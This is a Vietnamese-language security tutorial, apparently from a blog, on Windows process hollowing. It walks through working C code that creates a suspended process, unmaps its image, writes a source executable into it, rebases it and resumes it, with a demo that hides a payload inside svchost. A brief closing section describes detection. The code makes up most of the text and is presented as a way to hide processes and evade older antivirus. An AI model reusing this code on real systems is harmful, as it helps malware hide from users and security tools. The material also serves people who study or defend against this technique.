Process Hollowing là một trong những kỹ thuật để ẩn dấu process. Ý tưởng là tạo ra một process trong trạng thái treo. Phần image (mã thực thi nằm trên RAM) của process bị chèn (destination image) sẽ bị gỡ bỏ và thay thế bằng image của process cần ẩn (source image). Tức là process ban đầu sẽ không còn chứa code thực thi của nó nữa mà thay vào đó là phần code của process cần dấu đi. Nếu Image Base của image mới không trùng khớp với Image Base của image cũ thì chúng ta sẽ thực hiện công việc rebased (được hiểu là thay thế các phần sao cho phù hợp). Mỗi khi có một image mới được nạp vào bộ nhớ thì thanh ghi EAX của luồng bị treo sẽ được đặt là giá trị của entry point (điểm bắt đầu chương trình). Process sau đó được tiếp tục và entry point của image mới sẽ được thực thi.

Xây dựng mã nguồn thực thi

Để thực hiện thành công process hollowing, source image cần cần đáp ứng các yêu cầu sau:
– Để có khả năng tương thích cao nhất, subsystem của source image nên được đặt là windows


– Trình biên dịch nên sử dụng tùy chọn Runtime Library là /MT hoặc /MTd


– Image Base của source image và destination image phải trùng khớp hoặc phải thực hiện quá trình rebase giữa 2 image

Sau khi tạo thành công mã nguồn thực thi, chúng ta có thể nạp nó vào nội dung của tiến trình khác và ẩn dấu nó khỏi các trình kiểm tra như Task Manager, …

Tạo process

Process được tạo ra phải ở trạng thái treo. Bằng cách sử dụng giá trị CREATE_SUSPENDED cho tham số dwCreationFlags của hàm CreateProcess().

printf("Creating process\r\n");

LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

CreateProcessA
(
        0,
        pDestCmdLine, 
        0,
        0,
        0,
        CREATE_SUSPENDED,
        0,
        0,
        pStartupInfo,
        pProcessInfo
);

if (!pProcessInfo->hProcess)
{
        printf("Error creating process\r\n");
        return;
}


Khi process được tạo, vùng không gian nhớ của nó có thể bị thay đổi bằng cách sử dụng handle là giá trị của hProcess nằm trong cấu trúc PROCESS_INFOMATION.

Lấy nội dung

Đầu tiên phải xác định Image Base của destination image. Có thể thực hiện bằng cách sử dụng NtQueryProcessInfomation để xác định thông tin của cả process (PEB). Sau đó sử dụng hàm ReadProcessMemory() để đọc PEB. Chúng ta sẽ tổng hợp các thao tác trên vào hàm ReadRemotePEB.

PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);

Khi PEB được đọc từ process, Image Base sẽ được sử dụng để đọc NT Headers. Chúng ta tiếp tục sử dụng hàm ReadProcessMemory để thực hiện công việc này.

PLOADED_IMAGE pImage = ReadRemoteImage
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);

Tạo thành Process trống

Sau khi đã lấy được Headers, chúng ta sẽ loại bỏ destination image ra khỏi bộ nhớ. Ở bước này tôi sẽ sử dụng hàm NtUnmapViewOfSection.

printf("Unmapping destination section\r\n");

HMODULE hNTDLL = GetModuleHandleA("ntdll");

FARPROC fpNtUnmapViewOfSection = GetProcAddress
(
      hNTDLL,
      "NtUnmapViewOfSection"
);

_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;

DWORD dwResult = NtUnmapViewOfSection
(
      pProcessInfo->hProcess,
      pPEB->ImageBaseAddress
);

if (dwResult)
{
     printf("Error unmapping section\r\n");
     return;
}

Sau đó chúng ta cần cấp phát một vùng nhớ mới trong process cho source image. Kích thước vùng nhớ phụ thuộc vào giá trị nằm trong SizeOfImage của source image. Tương tự như phần DLL Injection. Để cấp phát vùng nhớ tôi sẽ sử dụng hàm VirtualAllocEx() với giá trị của tham số flProtectPAGE_EXCUTE_READWRITE.

printf("Allocating memory\r\n");

PVOID pRemoteImage = VirtualAllocEx
(
     pProcessInfo->hProcess,
     pPEB->ImageBaseAddress,
     pSourceHeaders->OptionalHeader.SizeOfImage,
     MEM_COMMIT | MEM_RESERVE,
     PAGE_EXECUTE_READWRITE
);

if (!pRemoteImage)
{
     printf("VirtualAllocEx call failed\r\n");
     return;
}

Copy Source Image

Sau khi đã cấp phát xong vùng nhớ, chúng ta sẽ copy phần source image vào. Để code có thể thực thi được, phần Image Base của source image sẽ được ghi đè bởi giá trị của Image Base của destination image. Tuy nhiên vì hai giá trị này khác nhau nên chúng ta cần phải tính toán để thực hiện quá trình rebase.

Sau khi ghi đè xong chúng ta sẽ sử dụng hàm WriteProcessMemory() để bắt đầu quá trình sao chép từ phần PE Headers. Tiếp theo, từng section sẽ được copy.

DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;

printf
(
      "Source image base: 0x%p\r\n"
      "Destination image base: 0x%p\r\n",
      pSourceHeaders->OptionalHeader.ImageBase,
      pPEB->ImageBaseAddress
);

printf("Relocation delta: 0x%p\r\n", dwDelta);

pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

printf("Writing headers\r\n");

if (!WriteProcessMemory
(
      pProcessInfo->hProcess, 
      pPEB->ImageBaseAddress,
      pBuffer,
      pSourceHeaders->OptionalHeader.SizeOfHeaders,
      0
))
{
printf("Error writing process memory\r\n");

return;
}

for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
      if (!pSourceImage->Sections[x].PointerToRawData)
            continue;

      PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);

      printf( "Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination );

      if (!WriteProcessMemory
      (
            pProcessInfo->hProcess, 
            pSectionDestination, 
            &pBuffer[pSourceImage->Sections[x].PointerToRawData],
            pSourceImage->Sections[x].SizeOfRawData,
            0
      ))
      {
            printf ("Error writing process memory\r\n");
            return;
      }
}

Rebase source image

Như đã trình bày ở trên, nếu 2 giá trị Image Base không trùng nhau thì chúng ta phải thực hiện quá trình Rebase. Để thực hiện công việc này, chúng ta sẽ sử dụng relocation table nằm trong section .reloc.

IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

Bảng relocation được chia thành các khổi khác nhau sao cho mỗi khối sẽ nằm trong một trang 4KB. Tại phần đầu của mỗi khối đều chứa địa chỉ trang cùng với kích thước của khối, tiếp theo đó là các mục. Mỗi mục là 1 word, 12 bit thấp chứa relocation offset, 4 bit cao chứa kiểu relocation.

typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

Để tính toán số các mục trong block, ta sẽ lấy BlockSize trừ đi kích thước của phần đầu block (gồm PageAddress và BlockSize) rồi chia cho kích thước của 1 mục. Tức là (BlockSize – sizeof(BASE_RELOCATION_BLOCK)) / (sizeof(BASE_RELOCATION_ENTRY))

#define CountRelocationEntries(dwBlockSize) \
(dwBlockSize - \
sizeof(BASE_RELOCATION_BLOCK)) / \
sizeof(BASE_RELOCATION_ENTRY)

Chúng ta sẽ thực hiện việc tính toán lại các địa chỉ của image trong quá trình duyệt các block.

DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;

DWORD dwOffset = 0;

IMAGE_DATA_DIRECTORY relocData = pSourceHeaders-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

while (dwOffset < relocData.Size)
{
      PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];

      dwOffset += sizeof(BASE_RELOCATION_BLOCK);

      DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);

      PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];

      for (DWORD y = 0; y < dwEntryCount; y++)
      {
            dwOffset += sizeof(BASE_RELOCATION_ENTRY);
            if (pBlocks[y].Type == 0)
                  continue;

            DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;

            DWORD dwBuffer = 0;

            ReadProcessMemory
            (
                  pProcessInfo->hProcess,
                  (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                  &dwBuffer,
                  sizeof(DWORD),
                  0
            );

            dwBuffer += dwDelta;

            BOOL bSuccess = WriteProcessMemory
            (
                  pProcessInfo->hProcess,
                  (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                  &dwBuffer,
                  sizeof(DWORD),
                  0
            );

            if (!bSuccess)
            {
                  printf("Error writing memory\r\n");
                  continue;
            }
      }
}

Hoàn thành Process

Sau khi đã hoàn thành việc ghi toàn bộ source image vào process, chúng ta cần thực hiện thay đổi một vài thông số của luồng xử lý. Đầu tiên là thread context. Trường ContextFlags cần được đặt thành CONTEXT_INTEGER.

LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;

printf("Getting thread context\r\n");

if (!GetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error getting context\r\n");
return;
}

Như tôi đã trình bày ở trên thì EAX lúc này sẽ chứa điểm bắt đầu của chương trình. Nên tiếp theo là đặt giá trị của thanh ghi EAX thành entry point của source image.

DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
pSourceHeaders->OptionalHeader.AddressOfEntryPoint;

pContext->Eax = dwEntrypoint;

Khi đã cập nhật lại CONTEXT và EAX chúng ta sẽ ghi đè nó lại vào CONTEXT của thread.

printf("Setting thread context\r\n");

if (!SetThreadContext(pProcessInfo->hThread, pContext))
{
      printf("Error setting context\r\n");
      return;
}

printf("Resuming thread\r\n");

if (!ResumeThread(pProcessInfo->hThread))
{
      printf("Error resuming thread\r\n");
      return;
}

Sau đây là kết quả:

Tôi đã thực hiện Process Hollowing với svchost bằng đoạn code hiện messagebox như trên

Đây là hình ảnh xem Process bằng Task manager

Cách phát hiện

Có nhiều cách để phát hiện ra mã độc đang sử dụng kỹ thuật Process Hollowing. Tuy nhiên có một cách được áp dụng rộng rãi đó là kiểm tra các module của file thực thi. Chúng ta sẽ tìm đến các module của file thực thi và kiểm tra xem chúng có được nạp lên bộ nhớ của process của chúng không. Nếu chúng ta tìm thấy các module nhưng không thấy chúng nằm trên vùng nhớ của process thì nội process đó đã bị biến đổi thành nội dung của mã độc bằng kỹ thuật Process Hollowing.

Trên đây là những hiểu biết và kiến thức của tôi về kỹ thuật Process Hollowing. Kỹ thuật này trước đây đã từng bypass tất cả các phần mềm AV và hoạt động tốt trong nhiều các hệ điều hành Windows. Hiện tại hầu hết các phần mềm AV mới cập nhật đều có thể phát hiện được sự hiện diện của Process Hollowing nhưng nó vẫn rất hữu ích đối với những Windows, phần mềm AV phiên bản thấp và cũng làm nền tảng cho những kỹ thuật ẩn process sau này. Cảm ơn mọi người đã quan tâm theo dõi.

REteam – Trung tâm An toàn thông tin

2.719 lượt xem